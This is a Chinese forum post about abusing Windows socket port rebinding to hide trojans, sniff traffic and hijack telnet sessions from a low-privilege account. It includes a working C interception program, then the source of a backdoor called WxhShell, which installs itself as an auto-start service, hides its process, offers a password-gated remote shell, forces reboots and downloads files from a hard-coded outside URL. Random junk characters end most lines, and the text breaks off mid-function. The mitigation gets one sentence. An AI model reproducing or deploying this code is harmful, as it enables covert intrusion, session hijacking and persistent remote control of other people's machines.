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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vz yNc'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8sR  
w%8ooQ|C  
  saddr.sin_family = AF_INET; Lz9$,Y[  
+(z_"[l"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yp[<9%Fi  
=M1a0i|d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Iuu<2#gb8"  
7cUR.PI#Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _Sly7_  
FI?gT  
  这意味着什么?意味着可以进行如下的攻击: P&[Ft)`  
Jb3>vCIn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DMAf^.,S  
d`?U!?Si  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IS,zy+w  
K-2o9No?j`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0a2$P+p  
< v|%K.yd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aPD?Bh>JU  
s6uF5]M;2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Qb!!J4| !  
}b_R5U$@@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LN@E\wRw{r  
N{1.g S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bGZ hUEq  
v%H"_T  
  #include vF9*tK'   
  #include Smq r q  
  #include l5FuMk-  
  #include    L!bfh`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "XGD:>Q.  
  int main() ]$m#1Kj  
  { cr76cYq"Q  
  WORD wVersionRequested; @T<ad7g-2J  
  DWORD ret; [kPD`be2#  
  WSADATA wsaData; E|HSwTHe  
  BOOL val; 7))y}N:p  
  SOCKADDR_IN saddr; \@Ee9C 13  
  SOCKADDR_IN scaddr; 8O~0RYk  
  int err; SQh+5  
  SOCKET s; XMt u"K  
  SOCKET sc; I*^5'N'  
  int caddsize; J+{Ou rWt  
  HANDLE mt; fA"<MslKLK  
  DWORD tid;   h7bPAW=(  
  wVersionRequested = MAKEWORD( 2, 2 ); f'1(y\_fb  
  err = WSAStartup( wVersionRequested, &wsaData ); A5sf  
  if ( err != 0 ) { gzVtxDh  
  printf("error!WSAStartup failed!\n"); +J"'  'cZ  
  return -1; <(fdHQD!7>  
  } J"diFz+20  
  saddr.sin_family = AF_INET; Ba/RO36&c  
   HwB {8S?sm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5,S,\O9>X  
fZ[kh{|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uc'p]WhQ  
  saddr.sin_port = htons(23); RG&I\DTyt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W0Ktw6  
  { As0 B\  
  printf("error!socket failed!\n"); }x]&L/  
  return -1; a*D,*C5}  
  } G;/Q>V  
  val = TRUE; w"{bp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o*X]b]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) doBNghS  
  { 2R~6<W+&:>  
  printf("error!setsockopt failed!\n"); M~als3  
  return -1; b 8>q;  
  } ^ pj>9%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; GMz8B-vk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _l<mu?"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W]_g4,T>  
wtSvJI~o)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D z@1rc<B  
  { 80|onP\L  
  ret=GetLastError(); @M=$qO_$9  
  printf("error!bind failed!\n"); h}h^L+4  
  return -1; T tPr)F|  
  } FY8!g'.Oe  
  listen(s,2); #,&8&  
  while(1) \ZMP_UU(  
  { j9:/RJS  
  caddsize = sizeof(scaddr); 1SUzzlRx  
  //接受连接请求 p;0 PxL=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W .U+.hR  
  if(sc!=INVALID_SOCKET) /Pk:4,  
  { _42Z={pZZq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \]8VwsP  
  if(mt==NULL) ?eV_ACpZ8  
  { +< yhcSSTB  
  printf("Thread Creat Failed!\n"); X'x3esw w  
  break; o\4CoeG  
  } ?ok)>P  
  } F+uk AT  
  CloseHandle(mt); q jz3<`7-  
  } B`{mdjMy  
  closesocket(s); qfYG.~`5  
  WSACleanup(); 2JZdw  
  return 0; uE`r/=4  
  }   .x-J44i@/  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3+(z_!Qh  
  { ^H3m\!h  
  SOCKET ss = (SOCKET)lpParam; zTY;8r+  
  SOCKET sc; <bUXC@3W  
  unsigned char buf[4096]; l^W uS|G[  
  SOCKADDR_IN saddr; CxDcY  
  long num; s8vKKvs`9  
  DWORD val; &94W-zh  
  DWORD ret; /e1(? 20  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y: psZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T SjI z5  
  saddr.sin_family = AF_INET; .'T40=7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /t5p-  
  saddr.sin_port = htons(23); P!e=b-T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P :k+ y$  
  { bd== +   
  printf("error!socket failed!\n"); Td hTQ  
  return -1; G1d(,4Xp  
  } U~H?4Izl=  
  val = 100; XAuI7e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~<)vKk  
  { UyiJU~r1  
  ret = GetLastError(); h@1!T  
  return -1; 5iM[sg[y9  
  } (D7$$!}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pC(sS0J  
  { (Rd$VYuf  
  ret = GetLastError(); >jTp6tu,  
  return -1; 80;n|nNB  
  } vH[Pb#f-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (= ;N{u  
  { ?*u*de[,  
  printf("error!socket connect failed!\n"); 314=1JbL  
  closesocket(sc); wtH~-xSB|  
  closesocket(ss); z|N3G E(.@  
  return -1; :50b8  
  } nwmW.(R4  
  while(1) d@ J a}`  
  { GP a`e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3EK9,:<Cf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 09h.1/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V diJ>d[  
  num = recv(ss,buf,4096,0); RU#F8O  
  if(num>0) !3 qVB  
  send(sc,buf,num,0); z#6?8y2-  
  else if(num==0) iG<Som  
  break; ,"2TArC'z  
  num = recv(sc,buf,4096,0); A1i!F?X  
  if(num>0) ]$b2a&r9  
  send(ss,buf,num,0); c&nh>oN  
  else if(num==0) W!L+(!&H  
  break; v& $k9)]  
  } +&=?BC}L9^  
  closesocket(ss); [1yq{n=  
  closesocket(sc); bBc-^  
  return 0 ; YN/ }9.  
  } Dt|)=a  
K9Hqq7"%  
)Kd%\PP  
========================================================== rNDrp@A>  
aM3gRp51cj  
下边附上一个代码,,WXhSHELL K }$&:nao  
X6e/g{S)  
========================================================== x.mrCJn)  
~FU@wV^   
#include "stdafx.h" \;X+X,M  
dt\jGD  
#include <stdio.h> cC{"<fYF  
#include <string.h> muON> ^MbC  
#include <windows.h> "Zv~QwC  
#include <winsock2.h> l@Z6do  
#include <winsvc.h> @~td`Z?1 y  
#include <urlmon.h> [{u(C!7L`  
;]2s,za)qs  
#pragma comment (lib, "Ws2_32.lib") !D^c3d  
#pragma comment (lib, "urlmon.lib") E0n6$5Uc?  
I0'WOV70  
#define MAX_USER   100 // 最大客户端连接数 i yesD  
#define BUF_SOCK   200 // sock buffer X;F8_+Np  
#define KEY_BUFF   255 // 输入 buffer fh8j2S9J  
Hh;:`;}  
#define REBOOT     0   // 重启 (.Y/  
#define SHUTDOWN   1   // 关机 !A3-0zN!  
lCd@jB{  
#define DEF_PORT   5000 // 监听端口 ENVk{QE!  
Y$K!7Kq  
#define REG_LEN     16   // 注册表键长度 9p* gU[  
#define SVC_LEN     80   // NT服务名长度 am1[9g8L  
*A'FC|\  
// 从dll定义API T=f|,sK +7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z4K+ /<I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y m,H@~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :(|'S4z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uQ$^;Pr  
eDI= nSo  
// wxhshell配置信息 7R.Q Ql  
struct WSCFG { uE/T2BX*  
  int ws_port;         // 监听端口 6DIZ@oi  
  char ws_passstr[REG_LEN]; // 口令 3chPY4~A  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9I7\D8r  
  char ws_regname[REG_LEN]; // 注册表键名 Ox!U8g8c  
  char ws_svcname[REG_LEN]; // 服务名 Psura$:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fc=Patg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^$>XW\yCs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4BYE1fUzd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #eZ6)i<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U6ZR->:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EJ}!F?o  
7M_U2cd|TD  
}; O%~jop7# 6  
s&kQlQ=  
// default Wxhshell configuration V"o7jsFH6n  
struct WSCFG wscfg={DEF_PORT, JCcZuwu[  
    "xuhuanlingzhe", yq-=],h  
    1, lE8&..~l$+  
    "Wxhshell", Z v_.na/^K  
    "Wxhshell", <:/&&@2  
            "WxhShell Service", 4D%9Rc0 G  
    "Wrsky Windows CmdShell Service", LH 3}d<{  
    "Please Input Your Password: ", NgCuFL(Ic  
  1, /iNa'W5\  
  "http://www.wrsky.com/wxhshell.exe", r)9Dy,  
  "Wxhshell.exe" Xv <G-N4  
    }; v8gdU7Ll,  
8[CB>-9  
// 消息定义模块 m=AqV:%|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /&& 2u7*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1aVa0q<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o*x*jn:hm  
char *msg_ws_ext="\n\rExit."; [3l*F  
char *msg_ws_end="\n\rQuit."; \~d";~Y`  
char *msg_ws_boot="\n\rReboot..."; k%wn0Erd  
char *msg_ws_poff="\n\rShutdown..."; -7/s]9o'  
char *msg_ws_down="\n\rSave to "; J89Dul l  
zf4Ec-)  
char *msg_ws_err="\n\rErr!"; `b8v1Os^2  
char *msg_ws_ok="\n\rOK!"; \ \BCcr\l  
#j#_cImE  
char ExeFile[MAX_PATH]; +X`V|E,no  
int nUser = 0; q#Zs\PD  
HANDLE handles[MAX_USER]; A7! g  
int OsIsNt; svelYe#9z  
{mWui9 %M  
SERVICE_STATUS       serviceStatus; ^JI o? R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Eca\fkj  
6Ao%>;e*  
// 函数声明 %N;!+ ;F_g  
int Install(void); `r5 $LaD  
int Uninstall(void); Eh-n  
int DownloadFile(char *sURL, SOCKET wsh); 9_\'LJ  
int Boot(int flag); {X2`&<i6  
void HideProc(void); *5zrZ]^  
int GetOsVer(void); Ngr/QL]Q  
int Wxhshell(SOCKET wsl); h2ZkCML  
void TalkWithClient(void *cs); fgNU03jp^x  
int CmdShell(SOCKET sock); 1Z[/KJ  
int StartFromService(void); uE[(cko  
int StartWxhshell(LPSTR lpCmdLine); "#v=IJy&r  
ZpUCfS)|&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f<+ 4rHT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )uv=S;+  
TF2>4 p  
// 数据结构和表定义 v7%X@j]ji  
SERVICE_TABLE_ENTRY DispatchTable[] = 8 #ndFpu  
{ %{3 aW>yx  
{wscfg.ws_svcname, NTServiceMain}, < RCLI|  
{NULL, NULL} aNyvNEV3C  
}; 5XuT={o  
bs9aE< j  
// 自我安装 _k^0m  
int Install(void) pV6d Id  
{ "<}&GcJbz  
  char svExeFile[MAX_PATH]; s >0Nr  
  HKEY key; r>jC_7  
  strcpy(svExeFile,ExeFile); zEZLKWm9-  
y9#$O(G  
// 如果是win9x系统,修改注册表设为自启动 tBTTCwNT%  
if(!OsIsNt) { pfx3C*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R3k1RE2c&g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SI:U0gUc  
  RegCloseKey(key); .^$YfTabq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \A `hj~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v/*Y#(X  
  RegCloseKey(key); X=8Y&#%  
  return 0; E~<`/s  
    } 47r_y\U h  
  } n.hv!W0  
} v(OBXa9  
else { ^-FRTC  
yqSs,vz  
// 如果是NT以上系统,安装为系统服务 DF6c|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UD~p'^.m_  
if (schSCManager!=0) 9dMrgz&'  
{ y8VpFa  
  SC_HANDLE schService = CreateService EQqx+J&!  
  ( ??hJEE  
  schSCManager, ;,&8QcSVY  
  wscfg.ws_svcname, Sx    
  wscfg.ws_svcdisp, r%DFve:%  
  SERVICE_ALL_ACCESS, T]Nu)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `IYuz:  
  SERVICE_AUTO_START, V|)>{Xdn  
  SERVICE_ERROR_NORMAL, gPC*b+  
  svExeFile,  `[zQf  
  NULL, R(j1n,c]  
  NULL, s] /tYJYl  
  NULL, 1Y_w5dU  
  NULL, ]]}tdn_  
  NULL nN$Y(2ZN  
  ); M5T9JWbN  
  if (schService!=0) Q4t(@0e}  
  { 7?OH,^  
  CloseServiceHandle(schService); N8KQz_]9I  
  CloseServiceHandle(schSCManager); 9;yn}\N `  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iVB^,KQ@  
  strcat(svExeFile,wscfg.ws_svcname); C8a*Q"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )m3q2W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cNzt%MjP  
  RegCloseKey(key); w@2Vts  
  return 0; J==SZ v  
    } hVj NZ  
  } ~f|Z%&l|  
  CloseServiceHandle(schSCManager); !? ^h;)a  
} hzI *{  
} > Oh?%%6  
7\o!HMfK  
return 1; PLM_#+R>  
} wV?,Z!\Z  
p}Fs'l?7Rq  
// 自我卸载 9iN.3/T8  
int Uninstall(void) M(|   
{ eUS   
  HKEY key; WS& kx~oQ  
g%[n4  
if(!OsIsNt) { 9Pd* z>s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4LI0SwD#^/  
  RegDeleteValue(key,wscfg.ws_regname); wx=0'T-[  
  RegCloseKey(key); V+?]S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x0a.!  
  RegDeleteValue(key,wscfg.ws_regname); {#IPf0O  
  RegCloseKey(key); `ir3YnT+  
  return 0; h72UwJ2rw  
  } lC 97_ T  
} -6Tk<W  
} ^GN8V-X4y  
else { PXP`ZLF  
Dj-s5pAW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z.Rb~n&  
if (schSCManager!=0) X fz`^x>M  
{ fbZibcQ%k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]O:M$ $  
  if (schService!=0) vUQFQ  
  { ?_6YtR,{  
  if(DeleteService(schService)!=0) { ,KW;2t*IQ@  
  CloseServiceHandle(schService); yI:# |w|  
  CloseServiceHandle(schSCManager);  ]^"k8v/  
  return 0; ~#M d"3  
  } HN5W@5m: .  
  CloseServiceHandle(schService); qZ2&Xw.{1  
  } mXjgs8 s  
  CloseServiceHandle(schSCManager); #?} 6t~  
} t7#lsd`_  
} $]d*0^J 6  
#S QXTR  
return 1; !MZw#=D`  
} D\L!F6taS  
N} />rD  
// 从指定url下载文件 3VCqp13  
int DownloadFile(char *sURL, SOCKET wsh) ,j;PRJ  
{ OS7R Qw1  
  HRESULT hr; ^^Lj I  
char seps[]= "/"; cFfTYP9  
char *token; w[fDk1H)  
char *file; !c8L[/L  
char myURL[MAX_PATH]; MZm'npRf  
char myFILE[MAX_PATH]; y,C!9l  
P[gO85  
strcpy(myURL,sURL); IlZu~B9c  
  token=strtok(myURL,seps); X BI;Lg  
  while(token!=NULL) e9@(/+  
  { cK}Pf+r>  
    file=token; ~ l )t|'6  
  token=strtok(NULL,seps); )LFD6\z1pl  
  } p]f&mBO*  
ofCVbn  
GetCurrentDirectory(MAX_PATH,myFILE); d.}}s$Q  
strcat(myFILE, "\\"); |$w*RI0C  
strcat(myFILE, file); c>MY$-PD  
  send(wsh,myFILE,strlen(myFILE),0); b~w KF0vq  
send(wsh,"...",3,0); }brr ) )  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |szfup~5es  
  if(hr==S_OK) ,%^0 4sl  
return 0; "/=x u|  
else cm<3'#~Q?  
return 1; PGDlSB^O  
fE iEy%o  
} R(fR1  
G_@H:4$3  
// 系统电源模块 4RNzh``u  
int Boot(int flag) `pr,lL  
{ &~EOM  
  HANDLE hToken; ;'urt /  
  TOKEN_PRIVILEGES tkp; )1ciO+_  
a6C ~!{'nW  
  if(OsIsNt) { K9iR>put  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G.8ZISN/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P? n`n!qZ  
    tkp.PrivilegeCount = 1; UWp(3FQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |BR&p)7)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YDJc@*D  
if(flag==REBOOT) { n@f@-d$m\<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uU0'y4=  
  return 0; GzX@Av$  
} ;nbvn  
else { $oz ZFvJF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b~-9u5.L1  
  return 0; d>f5T l\E  
} Cb<\  
  } fsu'W]f  
  else { y!j1xnzki  
if(flag==REBOOT) { (Y%}N(Jg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9S}PCAA;  
  return 0; a[!':-R`s  
} HDYoM  
else { ;XjKWM;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xM(  
  return 0;  ^(y4]yZ  
} h4U .wk  
} }0I! n@  
|jlR] ,  
return 1; SRMy#j-  
} zK}.Bhj#  
CR<*<=rI  
// win9x进程隐藏模块 {"s8X(#_sC  
void HideProc(void) =d 9%ce  
{  (1ebE  
bR.T94-8y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9,4a?.*4~  
  if ( hKernel != NULL ) HG3jmI+u>  
  { v+Hu=RZE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eb7`R81G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'O CVUF,  
    FreeLibrary(hKernel); 6;ICX2Wq'  
  } `*! .B  
fV3J:^)F  
return; 3N?uY2  
} w\a\I  
fZg Z  
// 获取操作系统版本 O\x Uv  
int GetOsVer(void) wEk9(|  
{ avdi9!J2  
  OSVERSIONINFO winfo; V XC_Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zdtzR<X   
  GetVersionEx(&winfo); Hc}(+wQN%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B<i1UJ5  
  return 1; 4!D!.t~r  
  else |= ~9y"F  
  return 0; rN OwB2e  
} $H?v  
(xMAo;s_  
// 客户端句柄模块 T<!TmG  
int Wxhshell(SOCKET wsl) RE*;nSVFt  
{ K@+&5\y]  
  SOCKET wsh; .DHPKz`W0  
  struct sockaddr_in client; *PD7H9m  
  DWORD myID; y/E%W/3  
1_ %3cN.  
  while(nUser<MAX_USER) R9k Z#  
{ x-cg df  
  int nSize=sizeof(client); h%Bp%Y9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fi`*r\  
  if(wsh==INVALID_SOCKET) return 1; zK?[6n89f  
?z p$Wz;k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u`7\o~$  
if(handles[nUser]==0) k]w;(<  
  closesocket(wsh); `N;JM3 ck  
else K%)u zP  
  nUser++; 3 (jI  
  } RWK|?FD\<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SK#; /fav6  
n}0[EE!  
  return 0; x+47CDDu3  
} 5V8WSnO  
+uLl3(ml  
// 关闭 socket 0.qnbDw_  
void CloseIt(SOCKET wsh) ?`lIsd  
{ :.J Ad$>P  
closesocket(wsh); [<rV "g  
nUser--; H+6+I53  
ExitThread(0); G*JasHFs  
} /{|JQ'gqX  
:;HJ3V;  
// 客户端请求句柄 _ 5n Lrn,~  
void TalkWithClient(void *cs) LB$#] Z  
{ )lwxF P;  
I82GZL  
  SOCKET wsh=(SOCKET)cs; LR%]4$ /M  
  char pwd[SVC_LEN]; ?)X 0l  
  char cmd[KEY_BUFF]; b9X"p*'p  
char chr[1]; &?"E"GH  
int i,j; P-U9FKrt  
v)1@Ew=Y%  
  while (nUser < MAX_USER) { h6`v%7H?  
OiI29  
if(wscfg.ws_passstr) { wN Mf-~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~+ [T{{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V(wm?Cc]  
  //ZeroMemory(pwd,KEY_BUFF); Klrd|;C  
      i=0; 3e,"B S)+  
  while(i<SVC_LEN) { /3#)  
V96:+r  
  // 设置超时 7!F<Uf,V3  
  fd_set FdRead; a!guZUg6  
  struct timeval TimeOut; XN|[8+#U<@  
  FD_ZERO(&FdRead); e>J.r("f  
  FD_SET(wsh,&FdRead); jEu-CU#:  
  TimeOut.tv_sec=8; ZB+~0[C  
  TimeOut.tv_usec=0; JIL(\d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Dqu?mg;L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l\t g.O~  
M,w5F5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?hBjq  
  pwd=chr[0]; <*_DC)&7 9  
  if(chr[0]==0xd || chr[0]==0xa) { V10JExsJ  
  pwd=0; ,B2p\  
  break; Q{= DLm`  
  } lq}m0}9<  
  i++; JIatRc?g  
    } \$+#7( K  
BK]5g[   
  // 如果是非法用户,关闭 socket =[do([A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o#uhPUZ  
} 2=,O)g  
xcE2hK/+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0g'MF  S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); thLx!t  
f1AO<>I;  
while(1) { ROi_k4Fj  
HC!5AJ&+}v  
  ZeroMemory(cmd,KEY_BUFF); NjFlV(XT}  
F]GX;<`  
      // 自动支持客户端 telnet标准   JuDadIrd{  
  j=0; QC Jf   
  while(j<KEY_BUFF) { X?7s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w!r.MWE  
  cmd[j]=chr[0]; n #PXMD*  
  if(chr[0]==0xa || chr[0]==0xd) { ^XT;n  
  cmd[j]=0; XyYP!<].C  
  break; @rE+H 5  
  } "G!,gtA~  
  j++; o0kKf+[  
    } a|-B#S  
/u~L3Cp(  
  // 下载文件 efK WR  
  if(strstr(cmd,"http://")) { 6m0- he~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]D_ AZI  
  if(DownloadFile(cmd,wsh)) wvI}|c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QE6L_\l  
  else k $E{'Dv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G&q@B`I  
  } LG vPy  
  else { >P}6/L  
^Sc48iDc  
    switch(cmd[0]) { %GigRA@no  
  EouI S2e;a  
  // 帮助 %'MR;hQsd8  
  case '?': { YR"IPyj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P EMuIYm$  
    break; $-uMWJ)l  
  } XZ 4H(Cj  
  // 安装 7&2CLh  
  case 'i': { snVeOe#'S  
    if(Install()) (,['6k<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ub-vtRpm  
    else Q[ .d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P G*FIRDb  
    break; to#T+d.(v  
    } S~ZRqL7Z O  
  // 卸载 gcF V$  
  case 'r': { jN%+)Kj0C)  
    if(Uninstall()) txix =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $uUJV% EX  
    else R 5Cy%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GE#LcCa  
    break; M(.]?+  
    } e ls&_BPE  
  // 显示 wxhshell 所在路径 98!H$6k  
  case 'p': { ,QHn} 3fW  
    char svExeFile[MAX_PATH]; ]Czq A c  
    strcpy(svExeFile,"\n\r"); /i IWt\J  
      strcat(svExeFile,ExeFile); A[N>T\  
        send(wsh,svExeFile,strlen(svExeFile),0); [zhcb+^5l  
    break;  p/?TU  
    } Iq(;?_  
  // 重启 =ve, !  
  case 'b': { %]@K}!)2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2\=cv  
    if(Boot(REBOOT)) "rI By  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); blA]z!FU  
    else { ?4}EhXR(  
    closesocket(wsh); [/I1%6;  
    ExitThread(0); >SZ9,K4Gs  
    } )SYZ*=ezl.  
    break; #%g~fh  
    } )04lf*ti  
  // 关机 $\@yH^hL  
  case 'd': { O[fgn;@|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :}18G}B  
    if(Boot(SHUTDOWN)) `g iCytv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C&ivjFf  
    else { <U$A_ ]*w  
    closesocket(wsh); =7`0hS<@F  
